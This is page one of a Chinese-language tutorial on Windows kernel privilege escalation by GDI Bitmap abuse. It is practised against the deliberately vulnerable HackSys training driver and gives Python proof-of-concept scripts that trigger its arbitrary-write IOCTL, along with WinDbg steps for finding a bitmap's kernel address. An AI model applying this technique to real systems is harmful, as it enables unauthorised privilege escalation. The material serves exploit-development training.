欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

Windows特权提升:GDI Bitmap滥用

来源:本站整理 作者:佚名 时间:2018-08-20 TAG: 我要投稿

0x001 前言
HackSys Extreme Vulnerable Driver是HackSys Team开发的一个Windows Kernel Exploition训练项目,从2016年开始已经开源在了Github上。整个项目编译好了以后只有一个.sys的驱动文件,通过IrpDeviceIoCtlHandler接收到的从用户态送来的特定命令,选择触发相对应的trigger method。各个题目的漏洞点比较明确,很适合作为Windows Kernel Exploitation的入门, Fuzzysecurity上也有一部分题目的分析,无奈是PowerShell版本的,不怎么熟悉,重新用Python实现了一遍。
 
0x002 调试环境
虚拟机:Windows 10 x64 1511 Feb 2016主机:Windows 10 x64 1709 Dec 2017必要工具:1.VirtualKD[here]2.OSRloader[here]3.HackSysExtremeVulnerableDriver[here]4.Windbg5.VmwarePS:具体的环境搭建、驱动编译、装载就不多讲了,网上应该不少,Fuzzysecurity上也有详细过程。
 
0x003 Proof of concept
本文,我们学习“GDI Bitmap滥用”,需要利用Arbitrary Write这个洞,用IDA打开驱动文件

很明显,漏洞成因就是把What指向的内容往Where指向地址里写8个byte。
先确保我们能够进到这个trigger method
import sys
from ctypes import *
kernel32 = windll.kernel32
hevDevice = kernel32.CreateFileA("\\.\HackSysExtremeVulnerableDriver",0xc0000000,0,None,0x3,0,None)
if not hevDevice or hevDevice == -1:
    print "[-] Couldn't get Device Driver handle."
    sys.exit(0)
buf = "A"*8 + "B"*8
buflen = len(buf)
kernel32.DeviceIoControl(hevDevice,0x22200B,buf,buflen,None,0,byref(c_ulong()),None)
得到这样的反馈就是没问题了
****** HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE ******
[+] UserWriteWhatWhere: 0x0000000002090E18
[+] WRITE_WHAT_WHERE Size: 0x10
[+] UserWriteWhatWhere->What: 0x4141414141414141
[+] UserWriteWhatWhere->Where: 0x4242424242424242
[+] Triggering Arbitrary Overwrite
[-] Exception Code: 0xC0000005
****** HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE ******
 
0x004 How to Exploit it?
学过GDI编程的应该对CreateBitmap这个API不陌生了,具体传入参数如下
HBITMAP CreateBitmap(
 _In_ int nWidth,
 _In_ int nHeight,
 _In_ UINT cPlanes,
 _In_ UINT cBitsPerPel,
 _In_ const VOID * lpvBits
);
执行这个脚本,内核会挂起来,然后Windbg附加上去
import sys,time
from ctypes import *
kernel32 = windll.kernel32
gdi32 = windll.gdi32
hevDevice = kernel32.CreateFileA("\\.\HackSysExtremeVulnerableDriver",0xc0000000,0,None,0x3,0,None)
if not hevDevice or hevDevice == -1:
    print "[-] Couldn't get Device Driver handle."
    sys.exit(0)
bmp = gdi32.CreateBitmap(0x64,0x64,1,32)
print "[+] Bitmap objects Addr: {0}".format(hex(bmp))
kernel32.DebugBreak()
kernel32.DebugBreak()
while True:
  time.sleep(60*60*24)
执行”g”命令,能看到Bitmap返回的句柄被打印出来了
C:Userswooy0ung>python C:Userswooy0ungDesktoppoc.py
[+] Bitmap objects Addr: 0x20050b46
接下来,需要找到GdiSharedHandleTable这个表
kd> !process 0 0 python.exe
PROCESS ffffe00058481840
    SessionId: 1  Cid: 0584    Peb: 002ad000  ParentCid: 02f8
    DirBase: 42277000  ObjectTable: ffffc000e4cf6ac0  HandleCount:
    Image: python.exe
kd> .process ffffe00058481840
Implicit process is now ffffe000`58481840
WARNING: .cache forcedecodeuser is not enabled
kd> .context
User-mode page directory base is 42277000
kd> r $peb
$peb=00000000002ad000
kd> dt nt!_PEB 00000000002ad000 GdiSharedHandleTable
   +0x0f8 GdiSharedHandleTable : 0x00000000`00b90000 Void
GdiSharedHandleTable这个表存放着指向每个Bitmap对应的GDICELL64结构的指针,通过计算获得,ptr = GdiSharedHandleTable + (handle & 0xffff) * (x64:0x18,x86:0x10),handle是CreateBitmap返回的句柄
kd> dt nt!_PEB 00000000002ad000 GdiSharedHandleTable
   +0x0f8 GdiSharedHandleTable : 0x00000000`00b90000 Void
kd> dq 0x00000000`00b90000 + (0x6105104c & 0xffff)*0x18 L3
00000000`00ba8720  fffff901`44895000 40056105`00000584
00000000`00ba8730  00000000`00000000
那么,0xfffff90144895000便是我们刚刚创建的Bitmap的内核地址,而0x584表示当前进程PID(1412)
可以通过ProcessHacker验证

创建了一个Bitmap Object,同时间SURFACE OBJECT(包括BASEOBJECT、SURFOBJECT和pvScan0)也会被创建,其中pvScan0会指向当前SURFACE OBJECT的像素数据结构

[1] [2] [3] [4] [5]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载